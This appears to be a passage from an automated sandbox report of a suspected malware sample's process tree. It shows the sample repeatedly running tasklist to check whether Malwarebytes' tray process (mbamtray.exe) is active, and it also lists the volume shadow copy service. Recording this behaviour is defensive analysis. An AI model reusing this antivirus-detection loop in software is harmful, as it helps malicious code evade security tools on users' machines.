tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2072

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1544

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2056

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2364

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4280

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2184

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4216
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3920
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2796
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2696
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4216
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:928
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1924
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4632
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:736

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:812

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3852
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2372
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:876
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:5112

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2276
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4280

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3344

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2812

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2020

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2080

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2824

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:772

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:2940

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:2068

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1924

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1320

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:740
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4568

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2744

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:428

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1688
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:728
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4444
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3856
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3276
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1444
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2740
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1404

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3856

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1260

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2756
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3364
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4576
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2272

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4680
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2220

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4108
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1676
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1924
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4800
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4800
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:64

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4600
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1072
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:1920
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1536
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3760

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2572
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:736

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4784
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1820

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1684
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3452
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1536

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4984

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2160

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2736

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4388

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3024

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:5012

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1260
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:2116
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1812

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4588

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2020

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2080
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4628

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:4284
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:4376
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4988
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:920

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4428

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2172
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2056
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2056

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2068

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1612

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4588

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2276

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3800

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:868

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2572

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2888
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4572
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:696
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3736
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4540

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4872
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2516

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2272
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2612
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3732
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1692
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2212
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4576

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1924

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1812

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1324
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4164

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4164

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:1336

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4968

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3272
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2168

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3928

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1672
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:464

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3584

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4772
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2516
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2580
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2200

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2200
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4104
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1988
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4968
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:64
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:528
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:928
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3500

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3880
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1384

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:5100
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2616
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3856
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1544
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1668
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2036

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:740

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3056
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1772
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2292
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3556
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:736

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2572
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4960

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1988

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3024

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3764
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:320

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3920

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4388

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1776
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:3136
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4148
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    PID:3556

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4728

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4900
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3032
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3056

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4676
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2940

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2796

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2612

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3760

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2788
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:216
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4056
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2020
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4960
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3392
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    - Enumerates processes with tasklist
    PID:1688

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:64

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1492

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:736

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3556

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3076

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1820
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2324
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1772

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:812
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1288

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1876
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4816
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3732

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1340

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3496
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4252
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:1772

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4568
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:992
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2132
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2456
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2692
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4588
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2088

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4588
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4508
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    - Enumerates processes with tasklist
    PID:2980

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4376

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2212

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3556
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1080

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4540

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2796

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3064

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1536

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2200
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1988
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4548
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2808

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4508

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3136

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4388
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:4948
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4996

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2892
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4996

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4444

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1908
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:60
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:5028
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2576

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3584

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4108
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:928
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2740
  - - C:\Windows\system32\tasklist.exe
